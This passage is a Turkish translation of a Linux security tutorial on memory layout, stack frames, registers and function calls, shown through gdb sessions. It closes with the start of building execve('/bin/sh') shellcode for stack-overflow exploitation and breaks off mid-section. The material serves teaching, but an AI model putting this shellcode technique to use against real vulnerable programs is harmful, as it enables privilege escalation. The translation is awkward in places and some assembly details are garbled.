![]() tarafýndan Frédéric Raynal, Christophe Blaess, Christophe Grenier Yazar hakkýnda: Christophe Blaess baðýmsýz bir havacýlýk mühendisi.O bir Linux meraklýsý ve birçok iþini bu sistem yardýmýyla yapýyor.Linux Dökümantasyon Projesi tarafýndan yayýnlanan kiþisel sayfalarýn çevirisinin organizasyonunu yapýyor. Chritophe Grenier ESIEA'da beþ yýldýr öðrenci ve ayný zamanda burada sistem yöneticisi olarak çalýþýyor.Bilgisayar güvenliðine karþý bir tutkusu var. Frédéric Raynal birçok senedir Linux kullanýyorlar çünkü o kirletmiyor, hormonlarý kullanmýyor, ne GMO ne de hayvansal yað...sadece ter ve oyunlar. Ýçerik:
|
Özet:
Bu makale serileri uygulamalarda ortaya çýkan genel güvenlik sorunlarýný vurgulamak amacýyla oluþturulmuþtur.Bu gibi istenmeyen sorunlarýn çeþitli geliþmeler yardýmýyla nasýl aþýlacaðýný göstermektedir.
Bu makale, hafýza organizasyonu/yayýlýmý, fonksiyon ve hafýza arasýndaki iliþki konularý üzerinde yoðunlaþmýþtýr.Son bölüm kabuk kodu'nun nasýl oluþturulacaðý konusunu ele almaktadýr.
Talimat kümesinden oluþan bir program düþünelim, makina koduyla ifade edilsin ( yazmak için kullanýlan dil gözardý edilsin ),iþte biz bunlara binary diyoruz.Binary dosyasýný derlerken program kaynaðý deðiþkenleri, sabitleri ve talimatlarý tutar.Bu bölüm binary dosyasýnýn deðiþik bölümlerini hafýza yayýlýmýný sunuyor.
Binary dosyasý çalýþtýðýnda neler olduðunu anlamak için, hafýza organizasyonuna bir bakalým.Deðiþik alanlara itimat etmektedir :
Genellikle ama herzaman deðil, biz sadece bu makale için önemli olan bazý bölgelere yoðunlaþacaðýz.
size -A file --radix 16
komutu derlemek için gerekli
her bir alanýn boyutunu verir.Burdan hafýza adreslerini alýrsýnýz
(objdump
komutu bu bilgiye ulaþmak için kullanýlýr).
Bu size
komutu binary olarak "fct":
>>size -A fct --radix 16 fct : section size addr .interp 0x13 0x80480f4 .note.ABI-tag 0x20 0x8048108 .hash 0x30 0x8048128 .dynsym 0x70 0x8048158 .dynstr 0x7a 0x80481c8 .gnu.version 0xe 0x8048242 .gnu.version_r 0x20 0x8048250 .rel.got 0x8 0x8048270 .rel.plt 0x20 0x8048278 .init 0x2f 0x8048298 .plt 0x50 0x80482c8 .text 0x12c 0x8048320 .fini ro 0x14 0x8048468 .data 0xc 0x804947c .eh_frame 0x4 0x8049488 .ctors 0x8 0x804948c .dtors 0x8 0x8049494 .got 0x20 0x804949c .dynamic 0xa0 0x80494bc .bss 0x18 0x804955c .stab 0x978 0x0 .stabstr 0x13f6 0x0 .comment 0x16e 0x0 .note 0x78 0x8049574 Total 0x23c8
text
alaný program talimatlarýný tutmaktadýr.Bu alan
sadece-oku.Bu ayný binary dosyasýný çalýþtýran bütün iþlemler
arasýnda paylaþýldý.Bu alana yazmaya teþebbüs etmek segmentasyon
ihlali hatasýna sebep olur.
Diðer alanlarý açýklamadan önce gelin C'deki deðiþkenler ile ilgili
birkaç þey söyleyelim.global deðiþkenler tüm program da kullanýlýr
ancak local deðiþkenler sadece fonksiyonlarla birlikte kullanýlýr.
static deðiþkenler bilindik bir boyuta sahiptirler.Boyutlarý çeþitlerine
baðlýdýr.Çeþitleri ise örneðin;char
, int
, double
,
iþaretçiler vs.Bir iþaretçibir adres iþaret eder bir hafýza ile birlikte.Bu
bir PC tipi makinada 32bit 'tir.Bilinmeyen birþey varki o da derleme sýrasýnda
iþaretçinin hangi alana doðru olduðudur.Bir dynamic deðiþkeni bir hafýza bölgesi
ve bunlara iþaret eden iþaretçileri (iþaretçinin kendisi deðil adresi) ifade eder.
Verilen iþlem için hafýza organizasyonuna geri dönelim.data
alaný global duragan verileri saklar ( bu veri derleme zamanýný saðlar ),
bss
parçasý baþta yer almayan global verileri tutar.Bu alanlar
derleme zamaný için ayrýlmýþtýr ve boyutlarý tuttuklarý nesnelere göre
tanýmlanmýþtýr.
Yerel ve dinamik deðiþkenler bir hafýza alaný içinde gruplandýrýlýr. Bu hafýza alaný programýn çalýþmasý için ayrýlmýþtýr.(user stack frame). Fonksiyonlar yardýma çaðrýlýr, yerel deðiþkenler için geliþmiþ örnekler bilinmemektedir.Bunlarý tanýmladýðýmýz zaman bunlarý bir stackiçine koyacaðýz.Bu yýðýt en yüksek adreslerin üzerindedir ve LIFO modeline göre çalýþýr(Last In, First Out).user frame altýndaki alan dinamik deðiþkenlerin tahsisine kullanýlmýþtýr.Bu alan heap þeklinde tanýmlanýr ve iþaretçiler ve dinamik deðiþkenler tarafýndan adreslenen hafýza alanlarýný tutar.Açýkça görülüyorki, bir iþaretçi 32bit ya BSS veya yýðýtta.Tahsis edildiðinde ilk ayrýlmýþ byte'a karþý gelen bir adres alýr.
Sýradaki örnek hafýzadaki deðiþken yayýlýmýný örneklemektedir:
/* mem.c */ int index = 1; //in data char * str; //in bss int nothing; //in bss void f(char c) { int i; //in the stack /* Reserving de 5 characters in the heap */ str = (char*) malloc (5 * sizeof (char)); strncpy(str, "abcde", 5); } int main (void) { f(0); }
gdb
debugger tüm bunlarý onaylayacaktýr.
>>gdb mem GNU gdb 19991004 Copyright 1998 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-redhat-linux"... (gdb)
Gelin bu f()
fonksiyonuna bir aralýk
býrakalým ve programý bu noktayakadar çalýþtýralým :
(gdb) list 7 void f(char c) 8 { 9 int i; 10 str = (char*) malloc (5 * sizeof (char)); 11 strncpy (str, "abcde", 5); 12 } 13 14 int main (void) (gdb) break 12 Breakpoint 1 at 0x804842a: file mem.c, line 12. (gdb) run Starting program: mem Breakpoint 1, f (c=0 '\000') at mem.c:12 12 }
Þimdi deðiþkenlerin yerlerini görebiliyoruz.
1. (gdb) print &index $1 = (int *) 0x80494a4 2. (gdb) info symbol 0x80494a4 index in section .data 3. (gdb) print ¬hing $2 = (int *) 0x8049598 4. (gdb) info symbol 0x8049598 nothing in section .bss 5. (gdb) print str $3 = 0x80495a8 "abcde" 6. (gdb) info symbol 0x80495a8 No symbol matches 0x80495a8. 7. (gdb) print &str $4 = (char **) 0x804959c 8. (gdb) info symbol 0x804959c str in section .bss 9. (gdb) x 0x804959c 0x804959c <str>: 0x080495a8 10. (gdb) x/2x 0x080495a8 0x80495a8: 0x64636261 0x00000065
Komut 1 (print &index
) hafýza adresini index
global deðiþken için gösteriyor.Ýkinci talimat (info
) birleþtirme
sembolü veriyor bu adres ve hafýzadaki yer için:index
, global
duraðan deðiþkeni bu data
alanda saklanmaktadýr.
3.ve 4. talimatlar baþta gelmeyen duraðan deðiþkenleri nothing
,
BSS
parçasý içinde yer almaktadýr.
5.satýrda str
...komutu görülüyor.Gerçekte str
deðiþken içermektedir, ve bu adres 0x80495a8
.Talimat 6 hiçbir
deðiþken bu adreste tanýmlanmamýþtýr.Komut 7 str
deðiþken adresini
almaya izin verir ve komut 8 onu iþaret eder ve BSS
parçasýnda
bulunabilir.
9'da 4 byte adresteki hafýzaya karþý gelir 0x804959c
:
Bu bir ayrýlmýþ adresle birlikte kümeye karþý gelir.10'un içeriðinde
þu string vardýr "abcde" :
hexadecimal value : 0x64 63 62 61 0x00000065 character : d c b a e
Yerel deðiþkenler c
ve i
yýðýtýn içinde yer
alýr.
size
komutu sayesinde boyutun geri döndüðüne dikkat çekmek
istiyoruz.Ancak programa baktýðýmýzda farklý alanlar beklediðimiz gibi uyum
saðlamaz.Bunun sebebi program çalýþtýrýldýðýnda kütüphanede deðiþik deðiþkenlerin
varolmasýdýr.(type info variables
under gdb
to get them all).
Her seferinde fonksiyon tanýmlandýðýnda, yeni bir çevre terel
deðiþlenler için gerekli hafýza ile birlikte ve fonksiyon
parametreleri ile birlikte oluþturulur (burda environment
fonksiyon çalýþtýrýlýrken tüm elementler görüleceði manasýna gelir : argümanlarý,
yerel deðiþkenleri,çalýþan yýðýtlarýnda varolan geri dönüþ adresleri...fakat
bir önceki makalede bahsettiðimiz kabuk deðiþkenleri için çevre deðil).
%esp
(extended stack pointer) kaydý en yüksek yýðýt
adreslerini tutar.
Yerel deðiþkenlerin yýðýtlarla birlikte adresleri göreceli karþýlýk olarak
%esp
ifade edilebilir.Baþlýklar herzaman eklenip çýkarýlabilir
yýðýtlardan ve her deðiþkenin karþýlýðý ayarlanabilir.Bu çok etkisizdir.
Ýkinci kayýtýn kullanýlmasý þu geliþmeye yol açar : %ebp
(geniþletilmiþ taban iþaretçisi) baþlangýç adresini tutar.Böylece,
kayýtla ilgili offset açýklamak yeterli olur.Fonksiyon çalýþýrken
sabit kalýr.Parametreleri bulmak veya fonksiyonlarý yerel deðiþkenler ile
birlikte kolay deðildir.
Yýðýtlarýn temel birimleri word : i386 CPU'lar üzerinde 32bit
ve 4 byte'dýr.Örneðin, Alpha CPU'larý bir kelime için 64bit yer ayýrýr.
Yýðýtlar sadece kelimeleri yönetir.Bunun anlamý her yer ayrýlmýþ deðiþken
bazý kelime numarasý kullanýr.Ýlerde fonksiyonlarýn açýklamasýnda ayrýntýlý
bir þekilde göreceðiz. str
gösteriminde deðiþken gdb
kullanýlýþýný içerir.bir önceki örnek bunu örnekliyor. gdb
x
komutu tüm cümleyi gösteriyor (soldan saða oku little endian
açýklamasýna kadar.
Yýðýt 2 cpu talimatý tarafýndan kontrol edilebilir :
push value
: azaltýr %esp
kelime ile birlikte,
bir sonraki kelimenin adresini almak için, saklanan value
komutun
argüman olarak verilmesi gereklidir.Bu talimat yýðýtýn en üst noktasý üzerindeki
deðeri verir;pop dest
: adreste tutulan deðeri verir ve %esp
tarafýndan iþaret edilir ve dest
'in içinde bulunur ve bu kayýt
içeriðini yükseltir.En yüksekteki yýðýt baþlýðýný yerini deðiþtirir.Kayýtlar gerçekte nedir?Onlarý yalnýzca birer çizici olarak görebilirsiniz, bir kelime serisinden oluþmuþlardýr.Her seferinde kayda yeni bir kelime girer ve eskisi kaybolur.Hafýza ve CPU arasýnda direk bir iletiþime izin verir.
Ýlk olarak 'e
' kayýtlarda görünür ve "extended" manasýna
gelir ve 16bit ile 32bit arasýndaki evrimi iþaret eder.
Kayýtlar dört sýnýfa ayrýlýrlar :
%eax
, %ebx
,
%ecx
ve %edx
veriyi yönetmek için kullanýlýr;%cs
, %ds
,
%esx
ve %ss
, hafýzanýn ilk parçasýný tutar;%eip
(Extended Instruction Pointer) :bir sonraki talimatýn
çalýþmasý için gerekli olan adresi iþaret eder;%ebp
(Extended Base Pointer) :fonksiyon için yerel çevrenin
baþlangýcýný iþaret eder;%esi
(Extended Source Index) :hafýza bloðunu kullanan
bir operasyondaki veri kaynaðýnýn karþýlýðýný tutar;%edi
(Extended Destination Index) :hafýza bloðunu kullanan
bir operasyondaki varýlacak veri karþýlýðýný tutar;%esp
(Extended Stack Pointer) :yýðýtýn en üst noktasý;/* fct.c */ void toto(int i, int j) { char str[5] = "abcde"; int k = 3; j = 0; return; } int main(int argc, char **argv) { int i = 1; toto(1, 2); i = 0; printf("i=%d\n",i); }
Bu bölümün amacý yukarýda yer alan fonksiyonlarýn davranýþlarýný yýðýtlara ve kayýtlara dikkat ederek açýklamaktýr.Bazý saldýrýlar bir programýn çalýþmasýný deðiþtirebilirler.Bunlarý anlamak için nelerin düzgün çalýþtýðýný bilmek gereklidir.
Bir fonksiyonun çalýþmasý üç aþamaya ayrýlýr :
push %ebp mov %esp,%ebp push $0xc,%esp //$0xc depends on each program
Bu üç talimat prolog'un dedilerini tapýyor.diagram 1
ayrýntýlarý toto()
fonsiyonunun baþlangýcýnýn %ebp
ve %esp
kayýt parçalarýnýn nasýl çalýþtýðýný açýklamaktadýr :
![]() |
Baþlangýçta, %ebp noktalarý hafýzada herhangi bir X adresini
iþaret eder.%esp yýðýtta en düþük yerdedir Y adresinde ve son yýðýt
giriþ noktasýný iþaret eder.Bir fonksiyon girildiðinde "geçerli çevre" 'yi kaydetmek
zorundasýnýz.Bu %ebp 'dur.%ebp 'den beri yýðýtýn içine konur
ve %esp hafýza sözcüðü tarafýndan azaltýlýr. |
![]() |
Bu ikinci talimat fonksiyon için yeni bir "çevre" inþa edilmesini %ebp
kodunu yýðýtýn en baþýna konulmasý ile saðlar.%ebp ve %esp
bir önceki çevre adresini tutarlar ve ayný hafýza noktasýný iþaret ederler. |
![]() |
Þimdi yerel deðiþkenler için yýðýt boþluðu ayrýlmýþ durumdadýr.Karakter
sýrasý beþ baþlýkla tanýmlanmýþtýr ve 5 byte (bir char bir byte) yere ihtiyaç vardýr.
Bununla birlikte yýðýtlar sadece words'ü yönetirler ve sadece word'ten oluþan birkaç
(1 word, 2 words, 3 words, ...) yer ayýrýrlar.4 byte yerine
5 byte word saklamak için 8 byte ( 2 words) kullanmanýz gerekli.
String'in bir parçasý olmasa dahi bu parça kullanýlabilir.k tam sayý
4 byte kullanýr.Bu boþluk %esp 'un 0xc tarafýndan azaltýlmasý için kullanýlýr.
Yerel deðiþkenler 8+4=12 byte kullanýrlar (örneðin 3 sözcük). |
Bu mekanizmadan baþka burda hatýrlanmasý gereken önemli bir nokta da
yerel deðiþkenlerin yeridir : yerel deðiþkenler %ebp
ile ilgili olarak negative gibi bir karþýlýða sahiptirler.
i=0
talimatý main()
fonksiyonu içinde bunu örnekler.Makine kodu
i
'yi çalýþtýrmak için direkt olmayan bir adresleme yöntemi kullanýr :
0x8048411 <main+25>: movl $0x0,0xfffffffc(%ebp)
0xfffffffc
heksedesimal -4
tam sayýsýný ifade eder.
Bu notasyonun anlamý 0
deðerini "-4 byte" ýn bulunduðu %ebp
kaydýna yerleþtir. i
ilk ve tek yerel deðiþkendir main()
fonksiyonunun içinde yer alan.Böylece onun adresi 4 byte (örneðin tam sayýný boyutu)
%ebp
kaydýnýn altýndadýr. Fonksiyonun baþýnda yapýldýðý gibi fonksiyon kendi çevresini hazýrlar, fonksiyon bu fonksiyona argumanlarýný almasý için izin verir ve çaðýran fonksiyona geri dönerek iþlemi bitirir.
Örnek olarak toto(1, 2);
çaðrýsýný ele alalým.
![]() |
Fonksiyon çaðýrmadan önce argumanlar yýðýtta saklý olmalýdýrlar.Bizim bu örneðimizde,
iki sabit tam sayý 1 ve 2 birinci yýðýttýr ve sonuncuyla baþlar. %eip
kaydý bir sonraki talimatýn adresini çalýþmasý için tutar. |
![]() |
push %eipBir argüman gibi deðerlendirilip call 'e göndermek için bir
deðer verilmiþtir.Bu da talimatýn baþýndaki toto() fonksiyonun
adresine karþýlýk gelir.Bu adres sonra %eip 'a kopyalanýr.Böylece
yeni talimat çalýþmaya baþlar. |
Ýlk önce biz fonksiyonun içindeyiz. 'nun argümanlarý ve
geri dönen adresin positive karþýlýðý vardýr %ebp
ile
ilgili olan.Bir sonraki talimat bu kayýtý yýðýtýn en üstüne yerleþtirir.j=0
talimatý toto()
'ýn içindedir.Fonksiyon bunu örnekler.Makina kodu tekrar bu
indirekt adreslemeyi j
'yi çalýþtýrmak için kullanýr :
0x80483ed <toto+29>: movl $0x0,0xc(%ebp)
0xc
heksedesimali +12
tam sayýsýný ifade eder.
Bu notasyon "+12 byte" da bulunan 0
deðerini ifade eder.
j
fonksiyonun ikinci argümanýdýr ve 12 byte'ýn en üst noktasýnda bulunur.
(4 talimatýn iþaretçisi, 4 birinci argüman ve 4 ikinci argüman için.)Bir fonksiyonu terketmek iki aþamada yapýlýr.Ýlk olarak,çevre fonksiyon için
temizlenmelidir (örneðin %ebp
ve %eip
yerleþtirmek çaðýrmadan önce).
Yýðýtý kontrol etmemiz fonksiyon için gerekli bilgiyi almak için gereklidir.
Birinci adým fonksiyon ile birlikte atýlmýþ oldu. :
leave ret
Bir sonraki fonksiyon ile yapýlacak olan çaðrýnýn yer tutmasý ve yýðýtýn yer teþkil etmesidir.
Bir önceki örneði taþýyoruz toto()
fonksiyonu ilgili olan.
![]() |
Burda baþlangýç koþullarýný açýklýyoruz.Çaðrýdan önce %ebp
adreste yer alýr. X ve %esp , Y adresinde yer alýr.
Buradan fonksiyon argumanlarýný biir kenara toplayarak %eip 'i ve %ebp 'i
kaydettik ve yerel deðiþkenlerimiz için bir kýsým yer ayýrdýk.Bir sonraki çalýþtýrýlan talimat
leave olacaktýr. |
![]() |
The instruction leave is equivalent to the sequence :
Birincisimov ebp esp pop ebp %esp ve %ebp 'i alýr.Ýkincisi
%ebp kayýdýnda yer alaný yýðýtýn en üstüne yerleþtirir.
Sadece bir talimatta (leave ), yýðýt baþlangýçsýz olabilir. |
![]() |
ret talimatý %eip 'ý saklar.Çaðrý fonksiyonunun
iþlemi bu yolla baþlar.Bunun için %eip 'teki yýðýtý kaldýrabiliriz.
Fonksiyonun argümanlarý yýðýtta saklanana kadar baþlangýç koþullarýna dönmeyeceðiz.
Onlarýn yerlerini ddeðiþtirme bir sonraki talimat olacak. |
![]() |
Parametrelerin yýðýt haline getirilmesi çaðrý fonksiyonunun içerisinde yapýlýr.
Bu zýt diyagramda ayýraçlar yardýmýyla çaðrý fonksiyonda bulunan talimatlarýn arasýnda
ve add 0x8 ile çaðrý fonksiyonunundaki %esp yardýmýyla örneklenmiþtir.
Bu talimat %esp 'ý yýðýtýn en üst noktasýna verir toto()
fonksiyon parametresinin kullanabildiði kadar kullanarak.%ebp ve
%esp kayýtlarý þimdi olayýn içinde yer alýrlar.Diðer yandan %eip
talimat kaydýnýn yeri deðiþir. |
gdb Makina kodunu almayý saðlar main() ve toto() fonksiyonlarýna karþýlýk gelir :
Talimatlar (renk olmaksýzýn) bizim program talimatlarýmýza karþýlýk gelir.>>gcc -g -o fct fct.c >>gdb fct GNU gdb 19991004 Copyright 1998 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-redhat-linux"... (gdb) disassemble main //main Dump of assembler code for function main: 0x80483f8 <main>: push %ebp //prolog 0x80483f9 <main+1>: mov %esp,%ebp 0x80483fb <main+3>: sub $0x4,%esp 0x80483fe <main+6>: movl $0x1,0xfffffffc(%ebp) 0x8048405 <main+13>: push $0x2 //call 0x8048407 <main+15>: push $0x1 0x8048409 <main+17>: call 0x80483d0 <toto> 0x804840e <main+22>: add $0x8,%esp //return from toto() 0x8048411 <main+25>: movl $0x0,0xfffffffc(%ebp) 0x8048418 <main+32>: mov 0xfffffffc(%ebp),%eax 0x804841b <main+35>: push %eax //call 0x804841c <main+36>: push $0x8048486 0x8048421 <main+41>: call 0x8048308 <printf> 0x8048426 <main+46>: add $0x8,%esp //return from printf() 0x8048429 <main+49>: leave //return from main() 0x804842a <main+50>: ret End of assembler dump. (gdb) disassemble toto //toto Dump of assembler code for function toto: 0x80483d0 <toto>: push %ebp //prolog 0x80483d1 <toto+1>: mov %esp,%ebp 0x80483d3 <toto+3>: sub $0xc,%esp 0x80483d6 <toto+6>: mov 0x8048480,%eax 0x80483db <toto+11>: mov %eax,0xfffffff8(%ebp) 0x80483de <toto+14>: mov 0x8048484,%al 0x80483e3 <toto+19>: mov %al,0xfffffffc(%ebp) 0x80483e6 <toto+22>: movl $0x3,0xfffffff4(%ebp) 0x80483ed <toto+29>: movl $0x0,0xc(%ebp) 0x80483f4 <toto+36>: jmp 0x80483f6 <toto+38> 0x80483f6 <toto+38>: leave //return from toto() 0x80483f7 <toto+39>: ret End of assembler dump.
Bazen yýðýtlarda varolan iþlemlere müdehale etmek mümkündür.Bunu yapmanýn yolu fonksiyonun geri dönüþ adresinin üzerine yeniden yazmaktýr ve keyfi kodlar ile uygulama çalýþmasý yapmaktýr.Bu özellikle kýrýcýlar için ilginçtir eðer uygulama kullanýcýdan farklý bir ID 'de çalýþýyorsa.Bu tip bir hata bir bakýma tehlikeli olabilir eðer uygulama bir döküman okumaysa ve baþka bir kullanýcý tarafýndan baþlatýlabiliyorsa.
Sonraki makalelerde talimatlarýn uygulanmasýndaki mekanizm üzerine konuþacaðýz.
Burda biz kod üzerine çalýþýyoruz ki bunu ana uygulama üzerinden çalýþtýrmayý istiyoruz.
En basit çözüm kabuðu çalýþtýrmak için bir miktar koda sahip olmaktýr.Okuyucu kendini diðer
diðer uygulamalar için örneðin /etc/passwd
dosyasýnýn haklarýný deðiþtirme
konusunda eðitebilir.Bazý nedenlerden dolayý ki bunlar gelecekte açýkça görülecektir,bu program
Makine dilinde yapýlmak zorundadýr.Bu tip küçük programlar kabuðu çalýþtýrma kaibliyitine sahiptir
ve bunlara genellikle shellcode adý verilir.
Örneklerde Aleph One'ýn makalesinden esinlenilmiþtir "Smashing the Stack for Fun and Profit" Phrack magazin No:49.
Kabuk kodunun amacý kabuðu çalýþtýrmaktýr.Bir sonraki C programý bunu örneklemektedir :
/* shellcode1.c */ #include <stdio.h> #include <unistd.h> int main() { char * name[] = {"/bin/sh", NULL}; execve(name[0], name, NULL); return (0); }
Fonksiyon kümelerinin arasýnda kabuða çaðrý gönderme kabiliyeti vardýr.
Birçok sebep execve()
'ýn kulllanýþýný doðrular.Ýlk olarak,
O bir doðru sistem çaðrýsýdýr ve diðer exec()
ailesinden olan fonksiyonlara
benzemez.Bunlar GlibC kütüphanesinin fonksiyonlarýdýr ve execve()
'den inþa
edilmiþlerdir.Bu kadar kayýt tanýmlamasý ve onlarýn içerikleri üzerine konuþmak yeterlidir.
Bundan baþka eðer execve()
baþarýlýrsa çaðrý programý (burda ana uygulamadýr)
yeni programýn çalýþtýrýlabilir koduyla deðiþtirilir. execve()
çaðrýsý baþarýsýzlýða
uðrsdýðýnda program uygulamasý devam eder.Örneðimizde kod hareket uygulamasýnýn tam ortasýndac yer alýr.
Uygulama ile devam etmek anlamsýz ve hatta zaralý dahi olabilir.Uygulama ayrýca olabildiði ölçüde hýzlý
olmak zorundadýr. return (0)
programdan çýkma izni verir ve sadece bu talimat main()
fonksiyonundan çaðrýldýðý zaman bu beklendiði gibi burada olmayacaktýr.
/* shellcode2.c */ #include <stdio.h> #include <unistd.h> int main() { char * name [] = {"/bin/sh", NULL}; execve (name [0], name, NULL); exit (0); }
exit()
yine bir
kütüphane fonksiyonudur.Yeni bir deðiþiklik bizim sisteme daha yakýn olmamýzý saðladý :
/* shellcode3.c */ #include <unistd.h> #include <stdio.h> int main() { char * name [] = {"/bin/sh", NULL}; execve (name [0], name, NULL); _exit(0); }Þimdi programýmýzý Makine dilindeki karþýlýðý ile birleþtirme zamanýmýz geldi.
gcc
ve gdb
'yi Makine dili talimatlarýný programýn karþýlýklarýný
alýrken kullanýyoruz.Gelin shellcode3.c
'u derleyelim (debug opsiyonu yardýmýyla).
(-g
) programý bütünleme açýsýndan normalde paylaþýlmýþ kütüphanelerde bulunur.Þimdi
_exexve()
ve _exit()
'yi anlamak için bilgiye ihtiyacýmýz vardýr.
$ gcc -o shellcode3 shellcode3.c -O2 -g --staticSonra
gdb
ile bizim fonksiyonlarýmýzýn Makine karþýlýklarýna bakacaðýz.
Bu Linux içindir.
$ gdb shellcode3 GNU gdb 4.18 Copyright 1998 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-redhat-linux"...
(gdb) disassemble main Dump of assembler code for function main: 0x8048168 <main>: push %ebp 0x8048169 <main+1>: mov %esp,%ebp 0x804816b <main+3>: sub $0x8,%esp 0x804816e <main+6>: movl $0x0,0xfffffff8(%ebp) 0x8048175 <main+13>: movl $0x0,0xfffffffc(%ebp) 0x804817c <main+20>: mov $0x8071ea8,%edx 0x8048181 <main+25>: mov %edx,0xfffffff8(%ebp) 0x8048184 <main+28>: push $0x0 0x8048186 <main+30>: lea 0xfffffff8(%ebp),%eax 0x8048189 <main+33>: push %eax 0x804818a <main+34>: push %edx 0x804818b <main+35>: call 0x804d9ac <__execve> 0x8048190 <main+40>: push $0x0 0x8048192 <main+42>: call 0x804d990 <_exit> 0x8048197 <main+47>: nop End of assembler dump. (gdb)Þimdi hafýzanýn içeriðini bu adresten açýklamaya çalýþalým :
(gdb) printf "%s\n", 0x8071ea8 /bin/sh (gdb)Þimdi string'in ne olduðunu gördük.
execve()
ve _exit()
fonksiyonlarýna bakalým :
(gdb) disassemble __execve Dump of assembler code for function __execve: 0x804d9ac <__execve>: push %ebp 0x804d9ad <__execve+1>: mov %esp,%ebp 0x804d9af <__execve+3>: push %edi 0x804d9b0 <__execve+4>: push %ebx 0x804d9b1 <__execve+5>: mov 0x8(%ebp),%edi 0x804d9b4 <__execve+8>: mov $0x0,%eax 0x804d9b9 <__execve+13>: test %eax,%eax 0x804d9bb <__execve+15>: je 0x804d9c2 <__execve+22> 0x804d9bd <__execve+17>: call 0x0 0x804d9c2 <__execve+22>: mov 0xc(%ebp),%ecx 0x804d9c5 <__execve+25>: mov 0x10(%ebp),%edx 0x804d9c8 <__execve+28>: push %ebx 0x804d9c9 <__execve+29>: mov %edi,%ebx 0x804d9cb <__execve+31>: mov $0xb,%eax 0x804d9d0 <__execve+36>: int $0x80 0x804d9d2 <__execve+38>: pop %ebx 0x804d9d3 <__execve+39>: mov %eax,%ebx 0x804d9d5 <__execve+41>: cmp $0xfffff000,%ebx 0x804d9db <__execve+47>: jbe 0x804d9eb <__execve+63> 0x804d9dd <__execve+49>: call 0x8048c84 <__errno_location> 0x804d9e2 <__execve+54>: neg %ebx 0x804d9e4 <__execve+56>: mov %ebx,(%eax) 0x804d9e6 <__execve+58>: mov $0xffffffff,%ebx 0x804d9eb <__execve+63>: mov %ebx,%eax 0x804d9ed <__execve+65>: lea 0xfffffff8(%ebp),%esp 0x804d9f0 <__execve+68>: pop %ebx 0x804d9f1 <__execve+69>: pop %edi 0x804d9f2 <__execve+70>: leave 0x804d9f3 <__execve+71>: ret End of assembler dump. (gdb) disassemble _exit Dump of assembler code for function _exit: 0x804d990 <_exit>: mov %ebx,%edx 0x804d992 <_exit+2>: mov 0x4(%esp,1),%ebx 0x804d996 <_exit+6>: mov $0x1,%eax 0x804d99b <_exit+11>: int $0x80 0x804d99d <_exit+13>: mov %edx,%ebx 0x804d99f <_exit+15>: cmp $0xfffff001,%eax 0x804d9a4 <_exit+20>: jae 0x804dd90 <__syscall_error> End of assembler dump. (gdb) quitÇekirdek çaðrýsý
0x80
üzerinden 0x804d9d0
adresinde
execve()
için ve 0x804d99b
adresinde _exit()
için yapýlýr.Bu giriþ noktasý alýþýldýktýr. execve()
'a baktýðýmýzda onun
0x0B
deðerinin olduðunu ve _exit()
'nun 0x01
deðerinin
olduðunu görürüz.
![]() |
Bu fonksiyonlarýn analizi Makine talimatlarýdýr ve bunlarýn kullanýlýþý parametreler yardýmýyla saðlanýrlar :
execve()
needs various parameters (cf. diag 4) :
%ebx
kaydý string adresini tutar ve bu adresler komutlarý
ifade eder çalýþtýrmak için ;%ecx
kaydý argumanlarýn adreslerini tutar.Ýlk arguman
programýn adý olmak zorundadýr ve baþka hiçbir seye ihtiyacýmýz yoktur ;%edx
kaydý array adreslerini tutar ve programýn çevresinin
harekete geçmesini saðlar.Program örneðimizi saklamak için boþ bir çevre kullanacaðýz :
Bu NULL iþaretçisidir._exit()
fonksiyonu çalýþmayý durdurur ve uygulama kodunu genellikle kabuða
geri gönderir ve %ebx
register içerisinde tutar ;"/bin/sh
" string'ine ihtiyacýmýz vardýr, bir iþaretçi bu
string'e ve NULL iþaretçisine. execve()
çaðrýsýndan sonra olasý
bir veriyi sunabiliriz.Bir array inþa etmek için bir iþaretçiyle birlikte /bin/sh
string'ine NULL iþaretçisini takiben, %ebx
string'i iþaret
edecektir.
![]() |
Kabuk kodu genellikle savunmasý zor programýn komut satýrý üzerinden arguman
ile bir çevre deðiþkeni veya yazýlmýþ bir string ile
yerleþtirilebilir.Herneyse, kabuk kodu oluþturulduðunda kullanacaðý adresi
bilmiyoruz.Bununla birlikte "/bin/sh
" string'inin adresini
bilmemiz gerekmektedir.Küçük bir oyun bunu öðrenmemizi saðlayabilir.
call
talimatýný çaðýrýrken CPU geri dönüþ adresini
yýðýtta saklar ve bu adres call
talimatýný takip eder.
Genellikle, bir sonraki adým yýðýt bölümünde saklanmaktadýr (özellikle
%ebp
kaydý ile birlikte push %ebp
talimatý)
Geri dönüþ adresini almak için subroutine içine girildiðinde pop
talimatýnýn yýðýt halinden çýkarýlmasý yeterlidir.Elbette "/bin/sh
"
string'ini saklamamýz gereklidir :
beginning_of_shellcode: jmp subroutine_call subroutine: popl %esi ... (Shellcode itself) ... subroutine_call: call subroutine /bin/sh
Elbette subroutine gerçek deðildir: execve()
çaðrýsý
baþarýr ve uygulama kabukla yer deðiþtirir veya baþarýsýzlýða uðrar ve
_exit()
fonksiyonu programý sonlandýrýr. %esi
kaydý bize "/bin/sh
" string adresini verir.Daha sonra bir array
inþa etmek string'ten sonra getirmekle mümkündür :
popl %esi movl %esi, 0x8(%esi) movl $0x00, 0xc(%esi)
6 diyagramý veri alanýný gösterir :
![]() |
Savunulmasý zor fonksiyonlar genellikle string yönetimi ile ilgili olanlar
örneðin strcpy()
'dir.Hedef uygulamanýn tam ortasýna kodu
yerleþtirmek için kabuk kodu string þeklinde kopya edilmesi gereklidir.Bununla
birlikte bu kopyalar null karakterini bulur bulmaz hemen duracaktýr.Daha sonra
bizim kodumuz olmayacaktýr.Birkaç oyun kullanarak null byte'larýný yazmayý
engelleyebiliriz.Örneðin talimat
movl $0x00, 0x0c(%esi)will be replaced with
